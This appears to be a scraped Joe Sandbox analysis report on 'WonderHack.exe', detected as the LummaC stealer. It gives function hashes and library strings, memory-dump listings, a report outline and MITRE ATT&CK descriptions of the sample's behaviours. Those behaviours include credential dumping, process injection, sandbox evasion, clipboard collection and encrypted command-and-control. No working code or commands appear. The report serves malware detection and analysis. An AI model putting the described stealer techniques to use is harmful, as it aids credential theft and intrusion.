___std_exception_copy.LIBVCRUNTIME ref: 00192673

Strings

bad array new length, xrefs: 00192626
ios_base::badbit set, xrefs: 00192650

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 4bcfa273935f8212f785354a62ab6e1262046df5718263bdd3e5f7d49aaa9da5
Instruction ID: 6f36c1e3dd84061fe9708425e123924e8210473a157506aa6b9a9c4960131e6f
Opcode Fuzzy Hash: 4bcfa273935f8212f785354a62ab6e1262046df5718263bdd3e5f7d49aaa9da5
Instruction Fuzzy Hash: C801D4F1508301ABDB08EF18D946B5A7BE4AF1831CF51881CF4599B341E375E848CB81

Function 00192610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0019F354,00000000,?,?,?,0019F354,00193D4A,001C759C,00193D4A), ref: 001A066D

___std_exception_copy.LIBVCRUNTIME ref: 00192673

Strings

bad array new length, xrefs: 00192626
ios_base::badbit set, xrefs: 00192650

Memory Dump Source

Source File: 00000003.00000002.2215319406.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2215289896.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215381591.00000000001BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215419945.00000000001CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215481729.00000000001CF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215551781.00000000001D2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2215680282.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_WonderHack.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 796d56cea21582d9dd6cda8977eba15198175f9414d0dc75e0a787a492cc1c0a
Instruction ID: 0de548fc39c5e74c845befe958d1c12a236234a2e8190e58eca4691071bfa0c9
Opcode Fuzzy Hash: 796d56cea21582d9dd6cda8977eba15198175f9414d0dc75e0a787a492cc1c0a
Instruction Fuzzy Hash: F2F0F8F1614341ABD704AF18E946B47BBE4EB6971CF41881CF599AB300E3B5D444CB92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report WonderHack.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
WonderHack.exe

Function 001CA19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00191FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Function 001924B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Function 001ACF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00191750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Function 001A5349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 001A54EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 001A565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 001B3BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 001B43CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 001990F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Function 001ADA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00191EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre